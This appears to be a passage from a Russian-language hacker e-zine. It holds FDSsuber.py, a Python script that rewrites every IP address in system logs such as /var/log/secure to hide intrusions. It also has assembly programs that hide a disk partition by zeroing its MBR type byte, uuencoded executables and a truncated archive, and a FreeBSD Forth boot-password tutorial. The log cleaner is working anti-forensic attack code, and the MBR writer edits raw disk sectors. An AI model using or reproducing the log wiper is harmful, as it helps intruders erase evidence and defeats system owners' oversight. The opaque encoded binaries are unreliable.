M```````*JJJJJ@`````````````*JJJJJJH````````````*JJJJJJJJ````
M````````JJJJJJJJJ@``````````"JJJJJJJJJ```````````*JJJJJJJJH`
M``````````JJJJJJJJH```````````"JJJJJJJH`````````````JJJJJJJ@
M``````````````JJJJJJ````J@``````````JJJJH```"JJ@``````````JJ
MJ@```*JJJ@``````````JJJ@``JJJJJ@``````````JJJJJJJJJJJ@``````
M````JJJJJJJJJJH```````````JJJJJJJJJ@````````````JJJJJJJJH```
M``````````JJJJJJJ@```````````````````````/_______________P``
M'_\```__```'_X```__```'_X```__```'_X#^`__!_`'_X_@!__?@`?__@`
M'__P`!__X``?_\``/_^``'__``#__@`#__X`#S__`!X?_X`\#__`>`?_X``#
M__```?_X``'__``#__X``___``?__X`/```!``$`("`0``$`!`#H`@```0``
M````````````````````````````````````````````````````````````
>````````````````````````````````````````
`
end
sum -r/size 36562/7680
---< cut here >---
VI. suber.py by best_mowi
---< cut here >---
#!/usr/bin/env python
# _ _ _ _ _ _
# |_ | | |_) |_ |_) FDSsuber.py v0.0.1 (easy "suber" engine)
# _| |_| |_) |_ | \ by best_mowi <[email protected]>
#
# hi hackers, crackers, lamers and other fucking ppl! FDSsuber.py my elite
# tekst l0g cleaner. FDSsuber.py based on little, but very useful function
# - "sub" function from re (regular expressions) module. have phun, du0ds!
#
# usage example:
# root@localhost test# ls
# example.log FDSsuber.py* w00w.sh*
# root@localhost test# cat example.log
# Oct 5 12:01:35 2004 - hacked from 1.2.3.4
# Oct 6 15:48:00 2004 - hacked from 5.6.7.8
# root@localhost test# ./FDSsuber.py
# Usage: ./FDSsuber.py [options]
# Valid options:
# -v --version print version and exit
# -h --help print usage and exit
# -a --address=<fake ip> choose fake ip - addr. [random value]
# -d --directory=<dir. name> choose dir. with log - files []
# -f --file=<file name> choose one log - file []
# Usage example: FDSsuber.py -a 1.1.1.1 -f /var/log/secure
# FDSsuber.py -d /var/log/httpd
#
# root@localhost test# ./FDSsuber.py -f example.log
# root@localhost test# cat example.log
# Oct 5 12:01:35 2004 - hacked from 201.246.179.171
# Oct 6 15:48:00 2004 - hacked from 201.246.179.171
# root@localhost test# ./FDSsuber.py -f example.log -a 127.0.0.1
# root@localhost test# cat example.log
# Oct 5 12:01:35 2004 - hacked from 127.0.0.1
# Oct 6 15:48:00 2004 - hacked from 127.0.0.1
# root@localhost test# cat w00w.sh
# #!/bin/sh
# # kid, remember: "..2 second bash script by [email protected]"?
# # .. 1 second w00w.sh bash script by [email protected]
# echo "FUCK YOU, KID!"
# root@localhost test# ./w00w.sh
# FUCK YOU, KID!
#
# credits: "A.C.E.'7'", "Defaced", Scorpio, shmel and my parents.
#
# This source is free software; you can redistribute it and/or
# modify it under the terms of the GNU Library General Public
# License as published by the Free Software Foundation, version 2.
#
# If you use and/or modify this code please email the author and
# provide an URL where the updated program code can be obtained.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Library General Public License for more details.
#
# You can retrieve a copy of the GNU Library General Public License
# from http://www.gnu.org/. For a copy via US Mail, write to the
#
# Free Software Foundation, Inc.
# 59 Temple Place - Suite 330,
# Boston, MA 02111-1307
# USA
""" EASY [SUBER] ENGINE """
__program__ = "FDSsuber.py"
__version__ = "0.0.1"
__copyright__ = "copyright (c) 2004 best_mowi"
__author__ = "best_mowi <[email protected]>"
__license__ = "GPL (GNU GENERAL PUBLIC LICENSE)"
try: import whrandom
except Exception: print "`whrandom' module import error!"
try: import dircache
except Exception: print "`dircache' module import error!"
try: import getopt
except Exception: print " `getopt' module import error!"
try: import os
except Exception: print " `os' module import error!"
try: import errno
except Exception: print " `errno' module import error!"
try: import sys
except Exception: print " `sys' module import error!"
try: import re
except Exception: print " `re' module import error!"
def usage():
def show(prompt):
print >> sys.stderr, prompt
show("Usage: ./%s [options]" % (__program__))
show("Valid options:")
show(" -v --version print version and exit")
show(" -h --help print usage and exit")
show(" -a --address=<fake ip> choose fake ip - addr. [random value]")
show(" -d --directory=<folder name> choose dir. with log - files []")
show(" -f --file=<file name> choose one log - file []")
show("Usage example: %s -a 1.1.1.1 -f /var/log/secure" % (__program__))
show(" %s -d /var/log/httpd" % (__program__))
sys.exit(0)
def rand_ip():
o_1 = whrandom.randrange(1, 255, 1)
o_2 = whrandom.randrange(1, 255, 1)
o_3 = whrandom.randrange(1, 255, 1)
o_4 = whrandom.randrange(1, 255, 1)
return "%(o_1)s.%(o_2)s.%(o_3)s.%(o_4)s" % vars()
def fake_dir(addr, dir):
files = dircache.listdir(dir)
for loop in xrange(0, len(files)):
try:
fread = open(dir+os.sep+files[loop], "rb")
except IOError:
print os.strerror(errno.EIO)+"!"
sys.exit(-1)
cont = fread.read()
fake = re.sub("[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}",\
addr, cont)
fread.close()
try:
fwrite = open(dir+os.sep+files[loop], "wb")
except IOError:
print os.strerror(errno.EIO)+"!"
sys.exit(-1)
fwrite.write(fake)
fwrite.close()
sys.exit(0)
def fake_file(addr, file):
try:
fread = open(file, "rb")
except IOError:
print os.strerror(errno.EIO)+"!"
sys.exit(-1)
cont = fread.read()
fake = re.sub("[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}",\
addr, cont)
fread.close()
try:
fwrite = open(file, "wb")
except IOError:
print os.strerror(errno.EIO)+"!"
sys.exit(-1)
fwrite.write(fake)
fwrite.close()
sys.exit(0)
def main():
try:
_dir = ""
_file = ""
_addr = rand_ip()
(optlist, args) = getopt.getopt(sys.argv[1:], "vha:d:f:",\
["version", "help", "address=",\
"directory=", "file="])
for option, argument in optlist:
if ((option) in ("-v", "--version")):
print >> sys.stderr, "%s version %s" % (__program__, __version__)
print >> sys.stderr, "%s" % (__copyright__)
return
elif ((option) in ("-h", "--help")):
usage()
return
elif ((option) in ("-a", "--address")):
_addr = argument
elif ((option) in ("-d", "--directory")):
_dir = argument
elif ((option) in ("-f", "--file")):
_file = argument
except getopt.GetoptError:
print os.strerror(errno.EINVAL)
sys.exit(-1)
except KeyboardInterrupt:
print os.strerror(os.EINTR)
sys.exit(-1)
if (len(_dir) == 0) and (len(_file) > 0):
fake_file(_addr, _file)
if (len(_file) == 0) and (len(_dir) > 0):
fake_dir(_addr, _dir)
if ((len(sys.argv)) == 1):
usage()
return
sys.exit(0)
if (__name__=="__main__"): main()
---< cut here >---
,$$$;$!$$$$$$$$$$$$$$$$!$$$$$$$$$!$$$$.
%;' `;%
Shadow disk
%;. ,;%
`$$$$$$;$!$$$$$$$$$$$$$$$$$$$$$$$!$$$$'
Однажды, передо мной встала задача - скрыть диск, таким образом, чтобы ни
одна тварь не могла его увидеть, ни по сети, ни сидя за моим боксом.
Поискав в сети Internet, я понял, что таких программ немного и их способы
не подходили для моего случая.
Один из самых распространенных способов скрытия, предлагаемый в сети - это
скрытие диска в Explorer'е, через реестр. После этого диск не виден в "Мо-
ём компьютере", но другие программы легко видят эти диски, например, Total
Commander, Norton Commander и другие менеджеры файлов. Для Linux, задача
сводилась к затиранию информации в /etc/fstab, но пользователь мог вручную
подключить раздел или,загрузившись с загрузочного live cd,увидеть содержи-
мое диска.
Эти методы отпадали и пришлось самому придумывать удобный мне способ.Оста-
новился на корректировке таблицы MBR, где указываются начальный сектор ло-
гического диска, количество секторов, тип файловой системы и т.д.Вот здесь
и нашел решение - если в байте, обозначающим тип файловой системы, поста-
вить ноль, то никакая ОС не будет видеть логический диск.Только пустое не-
используемое пространство в программах разбивки дисков. Это можно органи-
зовать, применением программ корректировки дисков, на низком уровне, типа
DiskEdit из набора Norton Utilites. Ищется байт, отвечающий за тип файло-
вой системы (он находится по смещению 04h), относительно начала структуры
описателя раздела. Начало первого описателя раздела находится по смещению
1BEh, второго - 1CEh, третьего - 1DEh, четвертого - 1EEh. Например,необхо-
димо скрыть 2-й раздел диска.
Считываем MBR жесткого диска, по смещению 1CEh + 04h изменяем байт на 00h,
при этом запоминая какой был байт.После перезагрузки диска не будет видно.
Обратная операция возвратит диск в исходное состояние.
Для примера, мною была написана программа, скрывающая 2-й логический диск.
После запуска программа запрашивает пароль 'Shadow' и после правильного
ввода, запрашивает на каком контроллере установлен винчестер:
Primary master, slave, Secondary master, slave,соответственно 1,2,3,4.Пос-
ле этого создает бэкап MBR сектора в файле mbr.dat и заменяет байт файло-
вой системы на 00h. После перезагрузки диска не будет видно. Для возврата
необходимо запустить программу Unshadow,также указать пароль Shadow, и на-
жать номер контроллера жесткого диска. После перезагрузки компьютера диск
снова появится. Программа работоспособна под MS-DOS или Windows 9x.
Исходные коды программ:
---< cut here >---
;; Shadow disk 1.0 (shadow.asm)
;; Copyright (C) 2005 by Scorpio
masm
model small
.stack 10h
.data
passize equ 6
pass db "Shadow"
entpass db passize dup (?)
mespas db "Shadow disk 1.0. Copyright (C) 2005 by Scorpio.",0dh,0ah
db "Enter password: $"
npass db "Your password is invalid",0dh,0ah,"$"
mes1 db "Enter which Phisycal disk will hide",0dh,0ah
db "Primary master, slave, Secondary master, slave (1,2,3,4)",0dh,0ah,"$"
meserr db "Error",0dh,0ah,"$"
mesok db "All, OK!!!",0dh,0ah,"$"
hardisk db ?
buf db 512 dup (?)
dap db 20h,0,1,0
dapaddo dw ?
dapadds dw ?
daplba db 8 dup (0),16 dup (0)
filnam db "mbr.dat",0
hand dw ?
.code
main:
mov ax,@data
mov ds,ax
mov es,ax
mov ah,41h
mov bx,55aah
mov dl,80h
int 13h
jnc exita
erro: mov ah,9
lea dx,meserr
int 21h
mov ax,4c00h
int 21h
exita: mov ah,9
lea dx,mespas
int 21h
mov ah,3fh
xor bx,bx
lea dx,entpass
mov cx,passize
int 21h
lea si,pass
lea di,entpass
mov cx,passize
cld
rep cmpsb
je allr
mov ah,9
lea dx,npass
int 21h
mov ax,4c00h
int 21h
allr: mov ah,9
lea dx,mes1
int 21h
inp:
mov ah,08h
int 21h
cmp al,31h
jb inp
cmp al,34h
ja inp
and al,07h
dec al
or al,80h
mov [hardisk],al
jmp cont
erro1:
jmp erro
cont:
lea dx,buf
mov [dapaddo],dx
mov [dapadds],ds
mov ah,42h
mov dl,[hardisk]
lea si,dap
int 13h
cmp ah,0
jnz erro
lea si,buf
add si,1d6h
lea di,daplba
mov cx,4
cld
rep movsb
mov ah,42h
mov dl,[hardisk]
lea si,dap
int 13h
cmp ah,0
jnz erro1
xor cx,cx
lea dx,filnam
mov ah,3ch
int 21h
jc erro1
mov [hand],ax
mov bx,ax
mov ah,40h
lea dx,buf
mov cx,512
int 21h
jc erro1
mov ah,3eh
mov bx,[hand]
int 21h
jc erro1
lea bx,buf
add bx,1c2h
xor al,al
mov [bx],al
mov ah,43h
xor al,al
mov dl,[hardisk]
lea si,dap
int 13h
mov ah,9h
lea dx,mesok
int 21h
mov ax,4c00h
int 21h
end main
---< cut here >---
---< cut here >---
;; Shadow disk 1.0 (unshadow.asm)
;; Copyright (C) 2005 by Scorpio
masm
model small
.stack 10h
.data
passize equ 6
pass db "Shadow"
entpass db passize dup (?)
mespas db "Unshadow disk 1.0. Copyright (C) 2005 by Scorpio.",0dh,0ah
db "Enter password: $"
npass db "Your password is invalid",0dh,0ah,"$"
mes1 db "Enter which Phisycal disk will hide",0dh,0ah
db "Primary master, slave, Secondary master, slave (1,2,3,4)",0dh,0ah,"$"
meserr db "Error",0dh,0ah,"$"
mesok db "All, OK!!!",0dh,0ah,"$"
hardisk db ?
buf db 512 dup (?)
dap db 20h,0,1,0
dapaddo dw ?
dapadds dw ?
daplba db 8 dup (0),16 dup (0)
filnam db "mbr.dat",0
hand dw ?
.code
main:
mov ax,@data
mov ds,ax
mov es,ax
mov ah,41h
mov bx,55aah
mov dl,80h
int 13h
jnc exita
erro: mov ah,9
lea dx,meserr
int 21h
mov ax,4c00h
int 21h
exita: mov ah,9
lea dx,mespas
int 21h
mov ah,3fh
xor bx,bx
lea dx,entpass
mov cx,passize
int 21h
lea si,pass
lea di,entpass
mov cx,passize
cld
rep cmpsb
je allr
mov ah,9
lea dx,npass
int 21h
mov ax,4c00h
int 21h
allr: mov ah,9
lea dx,mes1
int 21h
inp:
mov ah,08h
int 21h
cmp al,31h
jb inp
cmp al,34h
ja inp
and al,07h
dec al
or al,80h
mov [hardisk],al
jmp cont
erro1:
jmp erro
cont:
lea dx,buf
mov [dapaddo],dx
mov [dapadds],ds
mov ah,42h
mov dl,[hardisk]
lea si,dap
int 13h
cmp ah,0
jnz erro
lea si,buf
add si,1d6h
lea di,daplba
mov cx,4
cld
rep movsb
mov ah,42h
mov dl,[hardisk]
lea si,dap
int 13h
cmp ah,0
jnz erro1
xor ax,ax
lea dx,filnam
mov ah,3dh
int 21h
jc erro1
mov [hand],ax
mov bx,ax
mov ah,3fh
lea dx,buf
mov cx,512
int 21h
jc erro1
mov ah,3eh
mov bx,[hand]
int 21h
jc erro1
mov ah,43h
xor al,al
mov dl,[hardisk]
lea si,dap
int 13h
mov ah,9h
lea dx,mesok
int 21h
mov ax,4c00h
int 21h
end main
---< cut here >---
Откомпилированные программы:
---< cut here >---
begin 644 SHADOW.EXE
M35H'``0``0`@``(`__]!`!``````````/@````$`^W%J<@``````````````
M```````````````````````!````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````````````"X$`".V([`M$&[JE6R@,T3<PRT";K)`,TAN`!,
MS2&T";H,`,TAM#\SV[H&`+D&`,TAO@``OP8`N08`_/.F=`RT";I.`,TAN`!,
MS2&T";II`,TAM`C-(3PQ<O@\-'?T)`?^R`R`HMX`ZP.0ZZ:ZWP")%N,"C![E
M`K1"BA;>`+[?`LT3@/P`=8N^WP"!QM8!O^<"N00`_/.DM$**%MX`OM\"S1.`
M_`!UPS/)NO\"M#S-(7*XHP<#B]BT0+K?`+D``LTA<J>T/HL>!P/-(7*=N]\`
M@</"`3+`B`>T0S+`BA;>`+[?`LT3M`FZT0#-(;@`3,TA````````````````
M````4VAA9&]W````````4VAA9&]W(&1I<VL@,2XP+B!#;W!Y<FEG:'0@*$,I
M(#(P,#4@8GD@4V-O<G!I;RX-"D5N=&5R('!A<W-W;W)D.B`D66]U<B!P87-S
M=V]R9"!I<R!I;G9A;&ED#0HD16YT97(@=VAI8V@@4&AI<WEC86P@9&ES:R!W
M:6QL(&AI9&4-"E!R:6UA<GD@;6%S=&5R+"!S;&%V92P@4V5C;VYD87)Y(&UA
M<W1E<BP@<VQA=F4@*#$L,BPS+#0I#0HD17)R;W(-"B1!;&PL($]+(2$A#0HD
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````(``!````````````````````````````````
-``````!M8G(N9&%T````
`
end
sum -r/size 40000/1543
---< cut here >---
---< cut here >---
begin 644 UNSHADOW.EXE
M35KY`0,``0`@``(`__]``!``````````/@````$`^W%J<@``````````````
M```````````````````````!````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````````````"X#P".V([`M$&[JE6R@,T3<PRT";K+`,TAN`!,
MS2&T";H,`,TAM#\SV[H&`+D&`,TAO@``OP8`N08`_/.F=`RT";I0`,TAN`!,
MS2&T";IK`,TAM`C-(3PQ<O@\-'?T)`?^R`R`HN``ZP.0ZZ:ZX0")%N4"C![G
M`K1"BA;@`+[A`LT3@/P`=8N^X0"!QM8!O^D"N00`_/.DM$**%N``ON$"S1.`
M_`!UPS/`N@$#M#W-(7*XHPD#B]BT/[KA`+D``LTA<J>T/HL>"0/-(7*=M$,R
MP(H6X`"^X0+-$[0)NM,`S2&X`$S-(0````````````!3:&%D;W<```````!5
M;G-H861O=R!D:7-K(#$N,"X@0V]P>7)I9VAT("A#*2`R,#`U(&)Y(%-C;W)P
M:6\N#0I%;G1E<B!P87-S=V]R9#H@)%EO=7(@<&%S<W=O<F0@:7,@:6YV86QI
M9`T*)$5N=&5R('=H:6-H(%!H:7-Y8V%L(&1I<VL@=VEL;"!H:61E#0I0<FEM
M87)Y(&UA<W1E<BP@<VQA=F4L(%-E8V]N9&%R>2!M87-T97(L('-L879E("@Q
M+#(L,RPT*0T*)$5R<F]R#0HD06QL+"!/2R$A(0T*)```````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
L`````"```0``````````````````````````````````````;6)R+F1A=```
`
end
sum -r/size 5330/1529
---< cut here >---
,?$$;$!$$$$$$$$$$$$$$$$$$$$$$$$!$$$$$$$$$!$$$$.
%;' `;%
Customizing FreeBSD loader with 4th
%;. ,;%
`?$$$$$;$!$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$!$$$$'
Стандартный загрузчик операционной системы FreeBSD позволяет загружать и
исполнять на этапе загрузки скрипты, написанные на языке Forth. Это дела-
ет loader очень мощным и гибким,т.к. Forth является практически полноцен-
ным языком программирования.
Изучить Forth несложно - в сети достаточно документации и компиляторов/
интерпретаторов для него.
Но, реализация Forth в составе загрузчика FreeBSD немного отличается от
стандартов и не описана в документации. Всё, что у нас имеется это - ис-
ходный код дефолтного загрузчика (/boot/loader.4th) и пример скрипта в
папке /usr/share/examples (ну и, разумеется, man loader). В этой статье я
покажу на примере как писать скрипты для загрузчика нашей любимой ОС. Но
сначала надо хотя бы немного описать сам Forth и его команды.
Вообще Forth не похож на все остальные языки программирования,поэтому по-
началу очень трудно привыкнуть к его необычному синтаксису. Все выражения
записываются в обратной польской нотации, т.е. вместо:
2 + 5
надо писать:
2 5 +
Всё основано на стеке - сначало в стек кладётся 2, затем 5, после этого
оператор + вынимает из стека 2 и 5, складывает их и ложит в стек резуль-
тат 7.
Выражение
(14 - 8) * 24
записывается так:
14 8 - 24 *
Для вывода на экран числа из стека используется оператор точка '.' Опера-
тор 'drop' извлекает значение из стека, не выводя его на экран, а 'dup'
дублирует.
Переменные объявляются следующим образом:
variable my_var
Для того, чтобы сохранить значение в переменной:
10 my_var !
а для извлечения значения:
my_var @
Значение переменной будет в стеке.
Теперь разберёмся с объявлением функций:
: имя_функции тело_функции ;
Причем после ':' и перед ';' обязательно должен стоять пробел,так как это
ключевые слова.
Работа со строками отличается от работы с обычными переменными. Строка
объявляется как массив байтов и первый байт содержит длину строки (как в
паскале). Строка my_str длиной 10 байт объявляется следующим образом:
create my_str 10 chars allot
Вообще часто при описании функций используются стековые диаграммы, кото-
рые показывают - что находится в стеке до и после выполнения функции.
Например, стековая диаграмма для функции compare
( addr1 len1 addr2 len2 -- result )
показывает - что функция принимает как параметры адрес 1 и 2 строки и их
длины, и возвращает результат сравнения этих строк.
Ну и еще рассмотрим условный оператор:
1 > 2 if
." True" cr
else
." False" сr
then
Основное неудобство в том, что 'then' используется как закрывающий опера-
тор.
Теперь можно разобрать конкретный пример:
---< cut here >---
256 dictthreshold !
2048 dictincrease !
include /boot/support.4th
include /boot/screen.4th
include /boot/frames.4th
: (boot) 0 boot ;
: (reboot) 0 reboot ;
: place over over >r >r char+ swap chars move r> r> c! ;
16 constant max_str
create passwd max_str chars allot
create input_str max_str chars allot
variable str_len
variable num_tryes
variable fg_color
seconds 7 mod 1 + fg_color !
: mess1
clear
fg_color @ fg
f_single
40 2 20 12 box
22 13 at-xy ." Boot password: "
;
: mess2
clear
fg_color @ fg
f_single
40 2 20 12 box
22 13 at-xy ." Password incorrect. Try again "
;
: main
1 num_tryes !
0 str_len !
s" /boot/boot.passwd" O_RDONLY fopen
dup -1 <> if
dup passwd 1 + max_str fread
dup -1 = if
drop
s" qwerty" passwd place
else
1 -
passwd 0 chars + c!
then
fclose
else
drop
s" qwerty" passwd place
then
mess1
begin 1 while
key? if
key
dup 13 <> if
str_len @ 1 + str_len !
input_str str_len @ chars +
c!
." *"
else
drop
str_len @ input_str 0 chars + c!
input_str count passwd count compare 0= if
me
clear
." Loading. Please wait..." cr
['] (boot) catch abort" Error booting"
else
num_tryes @ 1 + num_tryes !
num_tryes @ 3 > if
clear
22 13 at-xy ." Password incorrect. "
['] (reboot) catch abort" Error rebooting"
else
mess2
1000 ms
mess1
then
0 str_len !
then
then
then
100 ms
repeat
;
main
---< cut here >---
Это исходный код скрипта boot.4th,который запрашивает пароль при загрузке
FreeBSD. Пароль хранится в файле /boot/boot.passwd или если такой не най-
ден - устанавливается в самом коде. Данный пример показывает принципы ра-
боты с файлами, строками и экранными функциями.Для установки скрипта нуж-
но поместить его и все include'нутые файлы в папку /boot и удалить/пере-
местить/переименовать файл loader.rc. Этот скрипт со всеми необходимыми
файлами находится в архиве floader.tar.gz.
Теперь разберем что в нём (скрипте) написано. Переменные dictthreshold,
dictincrease управляют размером словаря, который невелик по умолчанию.
Инклуды - тоже самое что в C. Разберем такую строку:
seconds 7 mod 1 + fg_color !
Функция seconds кладёт в стек количество секунд,затем в стек кладётся се-
мерка. Количество секунд делится по модулю на 7 и к результату прибавля-
ется 1. Полученное число сохраняется в переменной fg_color.
Для работы с файлами используютя fopen, fread, fclose - тоже как в С.Фун-
кция key? возвращает true, если была нажата клавиша на клавиатуре, а key
ждёт нажатия клавиши и возвращает соответствующий код клавиши.
Вот в принципе и всё.Я попытался кратко описать Forth и его использование
в операционной системе FreeBSD. Надеюсь, что хотя бы небольшая чаcть это-
го материала будет понятна и полезна.
floader.tar.gz:
---< cut here >---
begin 644 floader.tar.gz
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
